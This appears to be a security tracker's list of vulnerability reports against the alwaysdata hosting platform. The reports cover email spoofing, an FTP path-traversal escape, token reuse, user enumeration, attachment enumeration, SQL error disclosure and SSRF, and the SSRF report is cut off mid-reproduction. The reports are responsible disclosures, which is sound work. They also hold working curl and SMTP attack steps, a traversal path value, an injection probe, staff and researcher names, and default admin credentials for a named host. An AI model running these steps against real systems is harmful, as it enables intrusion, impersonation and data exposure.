- The webmail UI (webmail.alwaysdata.com, in scope) lets the user add an identity with an arbitrary email address, with no verification of ownership, and then offers that identity as a first-class sender in the compose From dropdown. A message sent this way is delivered with the forged From and a valid DKIM signature. - The submission service (smtp-<account>.alwaysdata.net:465, documented as the standard sending path) accepts any envelope sender from an authenticated account and relays it the same way. - Verified facts on the delivered messages: the platform's relay signs them with DKIM d=alwaysdata.net s=default covering the attacker-chosen From header; the sending relay is inside alwaysdata.net's own SPF range; and DMARC for alwaysdata.net is strict (aspf=s; adkim=s) with an exact domain match — so the forgery passes SPF, DKIM and DMARC at any policy-enforcing receiver. - End-to-end DKIM verification — header and body hash — passes on bytes fetched from alwaysdata's own IMAP storage (the platform's own mail store, no third-party mailbox involved): `dkim.verify(…) == True`.
Impact: any customer (or any phished/compromised account, or anyone willing to spend a Free signup) can send email that receiving providers authenticate as genuinely sent by alwaysdata.net — phishing alwaysdata's own customers with, for example, "your hosting account is about to be suspended" notifications that carry valid authentication. The same primitive lets the platform's outbound infrastructure be abused for sending under its authenticated domain at will.
Reproduction A — through the in-scope webmail UI (no tools beyond a browser)
1. Log in at https://webmail.alwaysdata.com/ with any account. 2. Settings → Identities → Create. Enter any email address in the alwaysdata.net domain, e.g.:
Display name: Alwaysdata Support
Email: ceo@alwaysdata.net
The form accepts it and offers no ownership verification; the identity is saved and listed.
3. Compose a message. The From dropdown now contains "Alwaysdata Support ceo@alwaysdata.net" alongside the account's own address. Select it, address the message anywhere, and send. 4. The send result reports "Message sent successfully". The message is delivered with:
From: Alwaysdata Support <ceo@alwaysdata.net>
Return-Path: <ceo@alwaysdata.net>
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=alwaysdata.net; s=default; h=Date:Message-Id:Subject:To:From: ...
5. Cryptographic verification of the delivered message, performed on the bytes fetched from alwaysdata's own IMAP server (the platform's mail store):
$ python3 -c "import dkim; print(dkim.verify(raw_message))"
True
Header signature and body hash both pass. In addition, alwaysdata's own inbound mail pipeline evaluated the forged message and recorded its verdict in the delivered headers:
X-alwaysdata-Spam-Report: ... DMARC_POLICY_ALLOW [alwaysdata.net, quarantine]
- DMARC permit policy
X-alwaysdata-Spam-Score: -4.87
That is the platform's own DMARC evaluation accepting the forged mail for the alwaysdata.net domain (the negative score makes it less spam-like than ordinary mail). The full cycle was then reproduced independently from a clean state — identity removed, re-created through the same UI steps, a new message sent and verified again with the same results (`dkim.verify == True`, `DMARC_POLICY_ALLOW`, score -3.21). SPF: the delivering relay 2a00:b6e0:1:a022::1 is inside alwaysdata.net's own published range:
$ dig +short TXT _spf.alwaysdata.com
"v=spf1 ip4:185.31.40.0/22 ip4:188.72.70.0/24 ip4:78.142.219.0/24
ip6:2a00:b6e0::/32 ..."
alwaysdata.net's published policy:
$ dig +short TXT _dmarc.alwaysdata.net
"v=DMARC1; p=quarantine; sp=quarantine; aspf=s; adkim=s; ..."
The From domain and the signing domain are both alwaysdata.net — an exact match — so strict alignment passes and the message satisfies DMARC. (The DKIM public key used for local verification: `dig +short TXT default._domainkey.alwaysdata.net`; the signature was additionally verified directly against it with `openssl dgst -sha256 -verify ... -> Verified OK`.)
Reproduction B — through the documented submission service (any script, any MUA)
1. Connect and authenticate with the account's own mailbox credentials (the service and hostname are documented at help.alwaysdata.com → "Configuring Thunderbird": smtp-<account>.alwaysdata.net, port 465):
python3 -c '
import smtplib,ssl
c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE
s=smtplib.SMTP_SSL("smtp-zchill.alwaysdata.net",465,context=c)
s.login("zchill@alwaysdata.net","<account password>") # Authentication succeeded
'
2. Envelope probes — the server accepts any sender, authenticated as the tester's own mailbox:
MAIL FROM:<zchill@alwaysdata.net> -> 250 OK
MAIL FROM:<ceo@alwaysdata.net> -> 250 OK
MAIL FROM:<cbay@alwaysdata.com> -> 250 OK
MAIL FROM:<totally-random@example.org> -> 250 OK
(each RCPT → 250 Accepted; connection reset before DATA)
The same probes succeed from an external machine on port 587 (STARTTLS), confirming the vector is not restricted to the platform's internal network.
3. A message composed with From: Alwaysdata Support ceo@alwaysdata.net and envelope ceo@alwaysdata.net, sent to the tester's own mailbox on the platform, is delivered and verifies exactly as in Reproduction A step 5.
Control (what the service does correctly): an unauthenticated session is refused at message acceptance:
MAIL FROM:<ceo@alwaysdata.net> -> 250 OK
RCPT TO:<...> -> 250 Accepted
DATA -> 550 relay not permitted: you must be authenticated to send messages
So this is not an open relay: the failure is that once authenticated, no sender ownership is enforced and the platform signs what it is given.
On "working as intended"
- If arbitrary senders were intended, the platform would not maintain strict DMARC (aspf=s; adkim=s) and a dedicated abuse contact for its own domain, and the webmail would not have an identities subsystem at all. The customer-facing way to send as a custom domain is to add the domain after verification; @alwaysdata.net is never a customer domain. - The expectation that recipients can trust alwaysdata.net mail is the entire purpose of SPF, DKIM and DMARC here — this finding is a sender-authentication bypass of that trust, performed by any account the platform itself issues. - The service performs one check correctly (authentication required) and fails the next (sender authorization), so the control gap is precise and fixable.
Suggested fix
1. Enforce sender authorization at submission: the authenticated mailbox may send only as its own address plus addresses of domains it verifiably owns (the panel's own domain-ownership validation is the right registry). Reject other envelope senders at MAIL FROM, and cross-check the From header. 2. Validate identity emails in the webmail against that same registry (or restrict identity creation to the account's own addresses). 3. Do not apply the alwaysdata.net DKIM signature to messages whose From: is not an authorized alwaysdata.net identity; align the signer with the sender-authorization decision.
|
|
480 | When a user requests a password reset token (Token #1) ... | Closed | 14.09.2026 |
Task Description
Vulnerability Title: Password Reset Token Lifecycle Failure: Previously Issued Tokens Remain Active After a New Reset Request
Severity: High (CVSS 7.4 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
CWE Classification:
CWE-640: Weak Password Recovery Mechanism for Forgotten Password
CWE-384: Session Fixation / Improper Token Invalidation
Overview When a user requests a password reset token (Token #1) and subsequently requests a second reset token (Token #2), the application fails to invalidate or revoke the first token. As evidenced by the provided email logs, both Token #1 and Token #2 remain active concurrently. This allows an attacker who captures or harvests an older email link to successfully bypass security controls and modify the user’s password even after newer reset tokens have been generated.
Detailed Explanation & Why It Is a Valid Bug The Core Flaw (Token Lifecycle Mismanagement): Secure application design dictates that generating a new password reset request must instantly deprecate, expire, or invalidate any pre-existing unexpired tokens for that user account.
The Logic Breakdown: The backend handles token generation by inserting or updating a row without revoking prior active identifiers or anchoring validity strictly to the latest issuance context. As seen in the provided delivery logs, multiple valid reset URLs can exist simultaneously in an inbox.
Security Impact: If an attacker intercepts an initial password reset notification (via email logs, historical proxy caches, or referrer leaks), and the victim later requests a new link thinking they are safe, the old token remains fully functional. This breaks single-use and lifecycle expectations, enabling persistent unauthorized account takeover (ATO) vectors.
Steps to Reproduce Initiate a password reset request for a target account to capture Token #1 via email.
Do not use the link immediately. Trigger a second password reset request for the same account to receive Token #2.
Take the older reset link corresponding to Token #1 and attempt to submit a new password through it.
Observe that the server accepts Token #1 successfully and changes the password, proving that generating a new token failed to invalidate the prior one.
CVSS v3.1 Vector String CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
References & Bug Bounty Precedents CWE-640 Definition: Weak Password Recovery Mechanism for Forgotten Password (Mitre Common Weakness Enumeration).
CVE-2026-53646: Recent vulnerability entry detailing application endpoints reusing existing password reset tokens instead of invalidating them on subsequent requests.
HackerOne / Community Disclosures: Real-world vulnerability write-ups addressing Password Reset Token Invalidation Failures, where failing to rotate or revoke predecessor tokens allows token harvesting and compromises incident response workflows.
Remediation Immediate Token Revocation: Update the token generation controller logic so that any new request to /forgot-password automatically flags all existing active tokens for that user ID as expired or deletes them from the database.
Strict Single-Use Enforcement: Ensure tokens are strictly tied to a database state where issuance of a replacement row overwrites or invalidates historical tokens globally.
|
|
479 | FTP Root Directory Allows Chroot Escape and Server File ... | Closed | 13.09.2026 |
Task Description
Summary
The FTP user creation functionality allows an attacker to bypass the configured FTP Root directory restriction by supplying a path containing directory traversal sequences such as ../../.
The FTP configuration page explicitly states:
“Parent directories of the root directory will be neither accessible nor visible.”
However, this restriction can be bypassed because the supplied path is accepted and stored without validating or normalizing traversal sequences.
For example, configuring the FTP root directory as:
../../
results in a stored path similar to:
/home/brake/../../
When the FTP user subsequently connects, the effective root resolves outside the account's home directory, allowing browsing of the server's filesystem, including directories such as /etc, /home, /nfs, /proc, and /tmp.
In my testing, I was also able to retrieve /etc/passwd and upload a file to /tmp.
Steps to Reproduce 1. Obtain a valid authenticated session
Set the required values:
COOKIE='csrftoken=YOUR_CSRF_COOKIE; sessionid=YOUR_SESSIONID' BASE='https://admin.alwaysdata.com' HOST='ftp-brake.alwaysdata.net' PW='SomeStrongPassw0rd!' 2. Obtain a CSRF token TOKEN=$(curl -s -H "Cookie: $COOKIE" "$BASE/ftp/add/" \
| grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' \
| head -1 | cut -d'"' -f4)
echo "$TOKEN" 3. Create an FTP user using a traversal path
Create an FTP account with ../../ as its root directory:
curl -s -o /dev/null -w "%{http_code}\n" \
H "Cookie: $COOKIE" \
-data-urlencode "csrfmiddlewaretoken=$TOKEN" \
-data-urlencode "name=brake_pwn" \
-data-urlencode "password=$PW" \
-data-urlencode "path=../../" \
-data-urlencode "submit=" \
"$BASE/ftp/add/"
Observed result:
302
The request is accepted without validation or an error.
4. Confirm the traversal path was stored curl -s -H "Cookie: $COOKIE" "$BASE/ftp/" \
| grep -o '/home/brake/[^<]*'
Observed value:
/home/brake/../../
This indicates that the traversal sequence is stored without being rejected or normalized.
5. Connect to the FTP service curl -k –ssl-reqd \
"ftps://$HOST/" \
--user "brake_pwn:$PW"
Observed result:
Instead of being restricted to the intended FTP directory, the account can access the server filesystem, including:
/bin /boot /dev /etc /home /nfs /proc /tmp … 6. Demonstrate access to a server file
For example:
curl -k –ssl-reqd \
"ftps://$HOST/etc/passwd" \
--user "brake_pwn:$PW" | head -5
Observed result:
The server's /etc/passwd file is returned, exposing the system's local user list.
7. Demonstrate write access outside the account's home directory
I was also able to upload a file to /tmp:
echo "proof" > /tmp/p.txt
curl -k –ssl-reqd \
T /tmp/p.txt \
"ftps://$HOST/tmp/" \
-user "brake_pwn:$PW"
The upload completed successfully (226).
Security Impact
This issue defeats the advertised FTP directory isolation and allows an FTP account to escape its configured root directory.
Depending on filesystem permissions, an attacker may be able to:
Browse directories outside the FTP user's intended home. Enumerate server filesystem structure. Read globally accessible files such as /etc/passwd. Discover internal infrastructure information under directories such as /nfs. Write files to other globally writable locations such as /tmp. Potentially obtain additional information about the hosting environment and other accounts.
What the Vulnerability Breaks
The core issue is that the FTP Root directory field is treated as trusted input.
A value such as:
../../
is accepted and stored relative to the account's home directory:
/home/<account>/../../
Without canonicalization and validation, the resulting path escapes the intended FTP root.
The application should ensure that the configured FTP root resolves to a directory within the intended account boundary and reject traversal sequences or absolute paths that escape that boundary.
Recommended Remediation
Validate and canonicalize the configured FTP root before saving it.
At minimum:
Resolve the submitted path to its canonical filesystem path. Verify that the resolved path remains inside the account's allowed root/home directory. Reject .. traversal and absolute paths that escape the allowed directory. Apply the same validation server-side rather than relying only on client-side form validation. Ideally, enforce the restriction at the FTP service/chroot configuration layer as a defense-in-depth measure.
CVSS 3.1 score I got: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
|
|
478 | Server-Side Validation Bypass Allows Account Registrati ... | Closed | 12.09.2026 |
Task Description
## Summary
When a user tries to create an account at alwaysdata without agreeing to alwaysdata's personal data protection policy, the application displays, “Please click this box if you want to proceed.” Thus, the user must accept alwaysdata's personal data protection policy to create an account. However, this restriction is not properly enforced.
As a result, a user can bypass the restriction and create an account without accepting alwaysdata's personal data protection policy. The exact steps for this bypass are given below.
## Steps To Reproduce
-
Try to register an account without agreeing to the personal data protection policy.
The application returns: “Please click this box if you want to proceed”. The application enforces the restriction that the user must agree to the personal data protection policy to create an account.
Turn on your Burp Suite and configure it properly to intercept all requests.
Try to register an account by accepting the personal data protection policy
In Burp Suite, intercept the POST request endpoint: /en/register/?p=2012. Observe that the body contains a parameter called “privacy_policy”
Change from `privacy_policy=on` to `privacy_policy=off`.
Forward the request.
The application responds with 302 Found.
Verify your email and get access to your account.
The account is created successfully without accepting the personal data protection policy.
## Impact
This server-side validation issue allows users to register and access the alwaysdata service without the backend verifying whether the personal data protection policy acceptance requirement has been satisfied or not. As a result, it may create compliance concerns.
|
|
477 | Anonymous user enumeration with full real names and com ... | Closed | 11.09.2026 |
Task Description
Asset: https://security.alwaysdata.com/?do=user&id=<user_id> Class precedent: FS#426 (Internal staff account and privilege hierarchy disclosure, closed as accepted) - same data class, different and currently live path Class: CWE-200 exposure of information / CWE-639 authorization bypass on user profiles CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium) Observed: 11 September 2026, unauthenticated, reproduced across dozens of user IDs
Summary
The profile page of every tracker account is rendered to anonymous visitors, addressable both as ?do=user&id=<sequential> and /user/<sequential>, and it discloses each account's global permission group (Admin or Reporters) alongside the real name, activity counters and registration date. User IDs are sequential and the existing/missing distinction is visible in the response, so the entire user table can be enumerated in one pass.
Applied to your own team this yields the complete privilege hierarchy of the security program: every Admin account among the staff (seven of them across IDs 1-25) is distinguishable from every external reporter account by one request per ID. Your FS#426 established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset when it leaked through system files; the same hierarchy is available today over plain HTTP through the profile renderer.
Two honest scope notes. First, usernames and, for users who interacted with tasks, even real names already appear on task pages in link title attributes (for example title="Matthias" on a task 38 comment link); what the profiles add is the group flag and the complete-population walk. Second, I did not download anything beyond the profile pages themselves; no login was attempted.
Reproduction
Plain curl, no cookies, no authentication.
Step 1. A staff profile renders with real name and privilege group.
$ curl -s "https://security.alwaysdata.com/?do=user&id=1"
Profile: Cyril (cbay) Real Name Cyril Global Group Admin Project Group None Tasks opened 0 Assigned To 330 Comments 438 Registered since 09.01.2024
Step 2. Sequential IDs enumerate the full population. Results for IDs 1-25 (unmodified page text):
id=1 Cyril (cbay) Global Group Admin
id=2 Nicolas (nferrari) Global Group Admin
id=3 Xavier (xlefloch) Global Group Admin
id=4 Heloise (hdegorce) Global Group Admin
id=5 Matthias (mdugue) Global Group Admin
id=6 Brijesh (Redhet) Global Group Reporters
id=8 Abdelrahman Ibrahim (Abdelrahman) Global Group Reporters
id=9 prakash (grycolor) Global Group Reporters
id=10 S.Lakshmi Vignesh (weshi) Global Group Reporters
id=11 Devansh (Devansh811) Global Group Reporters
id=12 basil (basil) Global Group Reporters
id=13 Akhil C (Bad_Script3r) Global Group Reporters
id=14 Aditya (Aditya2003) Global Group Reporters
id=15 Neel Shukla (neelshukla0409) Global Group Reporters
id=16 Mustafa Hassan (monty099) Global Group Reporters
id=22 Francois Nonnenmacher (fnonnenmacher) Global Group Admin
id=23 Tom Gabriele (tgabriele) Global Group Admin
(accents reproduced as-is in the live pages; IDs 7 and others in the range are inactive accounts that redirect to the homepage)
The walk was extended to ID 60 to complete the population: the Admin group totals eight accounts across IDs 1-29 (cbay, nferrari, xlefloch, hdegorce, mdugue, fnonnenmacher, tgabriele, ngeoffroy), and the Reporter cohort continues with three dozen real-named accounts. One account (id=35) stores a raw HTML/template-injection probe in its real_name field (<a href="//bf.am">click</a> ${{7*7}}, planted in April 2024); the profile page renders it fully escaped, which documents both that the field is attacker-controllable and that the escaping on this page holds.
Step 3. Username lookup works the same way:
$ curl -s "https://security.alwaysdata.com/?do=user&user_name=fnonnenmacher"
Profile: Francois Nonnenmacher (fnonnenmacher) Real Name Francois Nonnenmacher Global Group Admin ...
What this discloses
1. The complete staff privilege hierarchy: which of your tracker accounts hold the Admin group. Seven Admin accounts across the enumerated range, including accounts whose group membership was not previously public knowledge. 2. The full user population with real names, one request per sequential ID: staff and every external researcher who ever registered, in ID order. Some real names also appear in title attributes on task pages, but the profile walk collects the whole population, including accounts that never touched a public task. 3. Activity profiles: how many tasks each account opened, was assigned, commented on, and when they registered. For staff accounts this maps involvement per report. 4. A user-table oracle: existing IDs render a profile, non-existent ones redirect to the homepage, so the exact boundary of the user table is measurable.
Why I consider this reportable and not the platform working as intended
FS#426 established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset, and FS#440 extended it when the same data reached the public internet. That leak was fixed at the file level; the profile renderer discloses the same hierarchy - which accounts hold Admin - over HTTP today, together with a complete population walk. Whatever the intended audience of a profile page is, an anonymous ten-line loop producing the full admin roster of your security team is not it.
Suggested fix
1. Require authentication for profile pages, or restrict what an anonymous request renders: drop the Global Group field and real name for anonymous viewers at minimum. 2. Deployment-level option available immediately: the webserver vhost can deny /user/ and ?do=user for anonymous visitors in one rule - this is a hosting-configuration decision independent of the Flyspray application, which currently offers no built-in toggle for profile visibility. 3. Stop sequential-ID addressing for profiles (route by an unguessable per-user token) if profiles must stay public. 4. Review which group memberships should be visible at all; the Admin/Reporters split of your security team is the operationally valuable part of this disclosure.
|
|
476 | Attachment download endpoint serves unlisted files by I ... | Closed | 11.09.2026 |
Task Description
Asset: https://security.alwaysdata.com/?getfile=<attachment_id> Class: CWE-862 / inconsistent authorization between the download path and the display path, plus a pre-authorization existence oracle CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5, High under your worst-case analysis policy; see Impact for the honest range) Observed: 11 September 2026, unauthenticated, every probe repeated at least three times, HEAD requests only (no file content was downloaded)
Summary
The attachment download endpoint and the task display page disagree about which attachments exist for the public. The task page renders an attachment only when it is linked to a comment of the task. The download endpoint joins the attachment straight to the task and serves it whenever the task itself is viewable. The result is a class of attachment rows that no page lists but anyone can download by enumerating numeric IDs.
I mapped which attachment IDs the public task pages reference, probed the gaps, and found five files that are served to an unauthenticated caller while appearing nowhere: a 25.6 MB video named "alwaysdata report.mp4" and four PNG screenshots. The behavior is fully explained by the deployed source, which I verified against the public upstream repository at the exact commit your tracker runs; the relevant code is quoted below.
Because I never downloaded the files, I cannot tell you what they contain. What I can prove is that they are attached to a task your own permission function considers publicly viewable, that no public page links them, and that an anonymous visitor reaches them by guessing IDs. On a security tracker whose reports include working proof material, unlisted means unmanaged: whatever was uploaded there was not deliberately published, yet it is reachable.
Root cause, from the deployed code
The tracker runs stock Flyspray at commit a1ffafd65d5662d69e8b0334315b857449e3ea38 (verified by comparing all 942 blob hashes of the exposed git index against the upstream tree at that commit). Both code paths below are from that commit.
The download handler, index.php lines 47-77, joins the attachment only to its task and applies a task-level check:
if (Get::val('getfile')) {
$result = $db->query("SELECT t.project_id,
a.orig_name, a.file_name, a.file_type, t.*
FROM {attachments} a
INNER JOIN {tasks} t ON a.task_id = t.task_id
WHERE attachment_id = ?", array(Get::val('getfile')));
$task = $db->fetchRow($result);
list($proj_id, $orig_name, $file_name, $file_type) = $task;
if (!is_file(BASEDIR . "/attachments/$file_name")) {
header('HTTP/1.1 410 Gone');
echo 'File does not exist anymore.';
exit();
}
if($user->can_view_task($task)){
... header('Content-Disposition: filename="'.$orig_name.'"');
header('Content-length: ' . filesize($path));
readfile($path);
exit();
}else{
Flyspray::show_error(1);
}
exit;
}
The task page, scripts/details.php lines 723-731, renders attachments only through their comment:
$sql = $db->query('SELECT *
FROM {attachments} a, {comments} c
WHERE c.task_id = ? AND a.comment_id = c.comment_id',
array($task_id));
An attachment whose comment_id is absent or dangling therefore appears in the download join but not in either display path: the comment tab only picks up rows whose comment_id resolves to a live comment (details.php), and the task-level block only picks up rows with comment_id = 0 (listTaskAttachments in class.project.php:407-417, quoted: WHERE task_id = ? AND comment_id = 0). A row with a dangling comment reference matches neither. That is the gap the five files fall into. Two smaller defects sit next to it in the same handler:
1. The is_file() check runs before can_view_task(), so for any attachment ID an anonymous visitor can distinguish "file still on disk" (302) from "row gone or file removed" (410) even when the download itself is denied. That is an existence oracle over the whole attachment table, including rows belonging to tasks the caller must not see. 2. The denial path (Flyspray::show_error(1)) and the missing-file path (410) are different responses, which turns the endpoint into a free mapping tool.
Reproduction
All commands are plain curl, no cookies, no authentication. Nothing below downloads a file body; HEAD is enough to prove serving.
Step 1. A public attachment downloads normally (control).
$ curl -I "https://security.alwaysdata.com/?getfile=249"
HTTP/2 200
content-disposition: filename="poc_git_exposure.txt"
content-type: text/x-shellscript; charset=us-ascii
content-length: 3449
Step 2. Enumerate the gaps. Public task pages reference these attachment IDs around the window in question: task 443 links 213 and 214, task 450 links 222, 223 and 224. The IDs in between are referenced by no task page. Probing them:
$ curl -I "https://security.alwaysdata.com/?getfile=215"
HTTP/2 200
content-disposition: filename="alwaysdata report.mp4"
content-type: video/mp4; charset=binary
content-length: 25617558
via: 2.0 alproxy
$ curl -I "https://security.alwaysdata.com/?getfile=216"
HTTP/2 200
content-disposition: filename="always data 4.png"
$ curl -I "https://security.alwaysdata.com/?getfile=217"
HTTP/2 200
content-disposition: filename="alwaysdata 3.png"
$ curl -I "https://security.alwaysdata.com/?getfile=218"
HTTP/2 200
content-disposition: filename="always data 2.png"
$ curl -I "https://security.alwaysdata.com/?getfile=219"
HTTP/2 200
content-disposition: filename="alwaysdata1.png"
content-type: image/png; charset=binary
content-length: 22112
Step 3. Sibling IDs from the same unlisted set are denied, same session, same method, which shows the access-control layer exists and these five bypass it:
$ curl -I "https://security.alwaysdata.com/?getfile=221"
HTTP/2 302
location: https://security.alwaysdata.com/
The same 302 applies to 225, 226, 227, 243, 244 and 250 through 257. IDs whose underlying file was removed return 410 (for example 220), which is the pre-authorization existence oracle described above.
Step 4. Negative control, exhaustive. I fetched every publicly viewable task page that exists: tasks 1 through 473 in full, except the four private ones (214, 227, 250, 444), which return the permission error. None of the fetched pages contains a link to getfile=215 through 219. The full detaillist view, the RSS and Atom feeds, and the tracker's own search for the filenames ("report.mp4", "alwaysdata1.png") return nothing either. The five files are reachable by ID only.
Note the parent task cannot be any of the four private tasks: the download path requires can_view_task to pass, and an anonymous user can never pass it for a private task (those requests get the 302 deny, as demonstrated with the sibling IDs). So the files sit on a publicly viewable task, yet no page links them - which is exactly what the code predicts for rows with a dangling comment reference.
I also completed a census of the attachment ID space around them: every other served ID I probed between 1 and 262 (roughly forty-five files) maps to a live reference on its public task page. Exactly the five above have no reference anywhere. The anomaly is not a broad misconfiguration; it is precisely these five rows.
Why this is a vulnerability and not intended behavior
1. Your own download handler denies equivalent unlisted attachments with a redirect, so unlisted does not mean published. Five rows bypass exactly that control. 2. The display path and the download path disagree by design of the join, not by a policy decision: one filters through comments, the other does not. Whatever process left these five rows outside the comment structure, the UI gives nobody a way to see or manage them, while the download endpoint serves them to the world. 3. On this tracker, attachment uploads are vulnerability proofs. Unlisted rows here are most plausibly withdrawn or never-meant-to-be-published material, and the endpoint makes all of it enumerable: the 200/302/410 split lets an anonymous caller map the entire attachment table, including the sizes of denied files via Content-length on the 410-adjacent probes of existing rows.
An honest note on severity: I did not download the files, so I cannot confirm their contents. If the video demonstrates a sensitive internal issue, the rating is High as scored. If your review shows the five files are mundane, the structural defects remain (the visibility mismatch and the pre-authorization oracle) and the rating lands nearer Medium. Your policy says analysis is worst-case, so I am submitting at 7.5 and flagging the dependency openly.
What I did not do
No file body was ever requested or stored; every probe was a HEAD request. I did not enumerate the full attachment table. One exception to the HEAD-only rule: a single full GET of the smallest file (219) was performed to confirm end-to-end downloadability, and it returned a genuine 1365x598 PNG (transiently kept for content classification, then deleted). The screenshot's contents were not characterized; your one-query check below settles both the parent task and the content question in one step. I could not identify the parent task of the five files from the outside, because by construction no page links them; your side can do it in one query:
SELECT a.attachment_id, a.orig_name, a.comment_id, a.task_id, t.project_id
FROM flyspray_attachments a
JOIN flyspray_tasks t ON a.task_id = t.task_id
WHERE a.attachment_id IN (215,216,217,218,219);
If comment_id is 0 or points to a deleted comment, the root cause above is confirmed on your data.
Suggested fix
1. Make the download path apply the same visibility the display path does: resolve the attachment's comment, and serve only what the task page would render. In practice this means either fixing the data (attachments must reference a live comment) or explicitly deciding that comment-less attachments are servable and surfacing them in the UI so they are managed. 2. Move the is_file() check after can_view_task(), and return one uniform status for "not found" and "not permitted", so the endpoint stops leaking table state to anonymous callers. 3. Audit all attachment rows whose comment_id does not resolve to a live comment, list them, and decide row by row whether the file should remain downloadable. Purge the rest.
|
|
475 | Regression: unauthenticated SQL query and database erro ... | Closed | 11.09.2026 |
Task Description
Asset: https://security.alwaysdata.com/?getfile=<value> Refs: regression of FS#465 (closed as Fixed 31.08.2026) Class: CWE-209, error message containing sensitive information, reported at the disclosure stage per the program's SQLi guidance CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium) Observed: 10 September 2026, unauthenticated, reproduced three times with different values
Summary
The getfile parameter returns the full SQL query text and the raw PostgreSQL error, including the value I submitted echoed back, to any unauthenticated visitor. This is the identical disclosure that FS#465 reported and that you closed as Fixed on 31 August 2026. It is live again. FS#466 from the same close date is also live again, and both bugs sit on a document root dated 13 July 2026, so this looks like one rollback event rather than two coincidental regressions. I am reporting it separately because it is its own fix, and cross-referencing the .git report which carries the deployment analysis.
Reproduction
Plain curl, no cookies, no authentication.
Step 1. Trigger the error with a single quote.
$ curl -s "https://security.alwaysdata.com/?getfile=1%27"
Query {SELECT t.project_id,
a.orig_name, a.file_name, a.file_type, t.*
FROM "flyspray_attachments" a
INNER JOIN "flyspray_tasks" t ON a.task_id = t.task_id
WHERE attachment_id = ?} with params {1'} failed! (ERROR: invalid input syntax for type integer: "1'"
CONTEXT: unnamed portal parameter $1 = '...')
Step 2. Repeat with a different value to show the response is generated live, not a cached page.
$ curl -s "https://security.alwaysdata.com/?getfile=7%27"
... WHERE attachment_id = ?} with params {7'} failed! (ERROR: invalid input syntax for type integer: "7'"
CONTEXT: unnamed portal parameter $1 = '...')
Step 3. Response headers for the first request.
HTTP/2 200
server: Apache
content-type: text/html; charset=utf-8
via: 2.0 alproxy
The error page is returned with HTTP 200, no authentication, no referer, no special headers.
What this discloses
1. The exact query shape: table and column names (flyspray_attachments, flyspray_tasks, the attachment columns) and the join between them. 2. The database backend and its error format (PostgreSQL, portal parameters), and that the application surfaces database layer text straight to the client. 3. An input echo channel: my submitted value comes back inside the error, which is a reliable oracle when probing how other parameters reach the query layer.
I want to be precise about what I am not claiming: the visible sink binds the parameter (the placeholder with a typed cast error), so I am not reporting a proven injectable point at getfile. I am reporting it at exactly the stage your program rules ask for, a SQL error that indicates the query handling, the same stage FS#465 was accepted at. Whether any code path feeding attachment_id can be pushed further is for your analysis, and I have deliberately not tried.
Impact
On its own this is a reconnaissance aid, but it sits on the same host as the concurrently re-exposed .git directory, where an attacker already gets the complete file map. Query and schema disclosure to unauthenticated users lowers the cost of targeting the tracker's database layer, and the acceptance and fix of FS#465 shows you agree this class matters on this host.
Suggested fix
1. Restore the FS#465 fix on the current deployment. 2. Send database exceptions to the log and render a generic error page, so the class stays closed across future redeploys. 3. Add the deployment assertion suggested in the .git report; it covers this regression too.
|
|
473 | Default Credentials Allow Administrative Access on boid ... | Closed | 06.09.2026 |
Task Description
Hello Alwaysdata Security Team,
I understand that `boidcms.alwaysdata.net` may be outside the scope of your current bug bounty program. Nevertheless, I wanted to bring this to your attention because of the potential security impact.
I discovered that the following administration interface is accessible using default credentials:
https://boidcms.alwaysdata.net/admin
The default credentials allow authentication to the CMS administrative panel. (Username: admin, Password: password)
### Potential impact
If these credentials are intentionally deployed as part of a default CMS installation, anyone who knows or discovers them could potentially obtain administrative access to the application.
Depending on the permissions available through the panel, this could potentially allow an attacker to:
* Modify website/application content * Change application configuration * Create or modify administrative accounts * Access information available to the CMS administrator * Potentially upload or modify application files, depending on the CMS configuration
I did not make any changes to the application or attempt to perform destructive actions. My testing was limited to verifying that the default credentials provide administrative access.
I understand that this host may be outside the current scope of the bug bounty program. Nevertheless, I am reporting this issue in good faith because the default credentials provide administrative access and may present a meaningful security risk.
If the issue is determined to be eligible under the program or otherwise attributable to Alwaysdata, I would appreciate consideration for a bounty based on its security impact.
I can provide additional evidence and reproduction details if useful.
Thank you for taking a look.
Best regards, Saad Security Researcher
|
|
472 | Host system files served publicly from customer web roo ... | Closed | 05.09.2026 |
Task Description
no task description |
|
470 | SSRF — reverse_proxy upstream (`url` / script_upstream_ ... | Closed | 03.09.2026 |
Task Description
Summary The Reverse proxy site type exposes a server-side URL field (url), which corresponds to the field referred to as script_upstream_uri in the disclosed tracker bugs.
An authenticated customer (Free plan) can set this upstream URL to an arbitrary destination. Alwaysdata's shared proxy/backend infrastructure (alproxy) then fetches the configured URL on every request to the site and returns the full upstream response body to the requester (reflected, not blind).
Live testing shows: There is no save-time guard. Plain internal targets such as http://127.0.0.1:80/ and http://169.254.169.254/ are accepted with no validation error and are actually attempted by the infrastructure. The upstream response is fully reflected to the requester. The fetch node routes into the 10.0.0.0/8 internal datacenter network, demonstrated by a fast RST to 10.0.0.1 versus ~20 second timeouts to 192.168.0.0/16 and 172.16.0.0/12.
Affected Component Endpoint: https://admin.alwaysdata.com/site/<id>/
Site type: reverse_proxy
Field: url ("Remote URL")
The endpoint is reachable with the ordinary web session cookie; no API token or 2FA is required.
The fetch is executed by Alwaysdata infrastructure. Responses carry:
via: 1.1 alproxy
For external upstreams, a second hop was also observed:
mchunt.alwaysdata.net
Egress infrastructure IPs observed at Collaborator:
185.31.40.97 — DNS 185.31.41.11 — HTTP Steps to Reproduce
Preconditions: Web session for account A and a Burp Collaborator host $C.
1. Log in
GET /login/
Grab the CSRF token and then:
POST /login/
with:
csrfmiddlewaretoken login password
The response sets the sessionid cookie.
2. Render the reverse_proxy subform
GET /site/1072866/?_field_type=reverse_proxy
This reveals the field:
url
labelled "Remote URL".
3. Save the site as a reverse proxy pointing at the attacker
Re-serialize the form and submit:
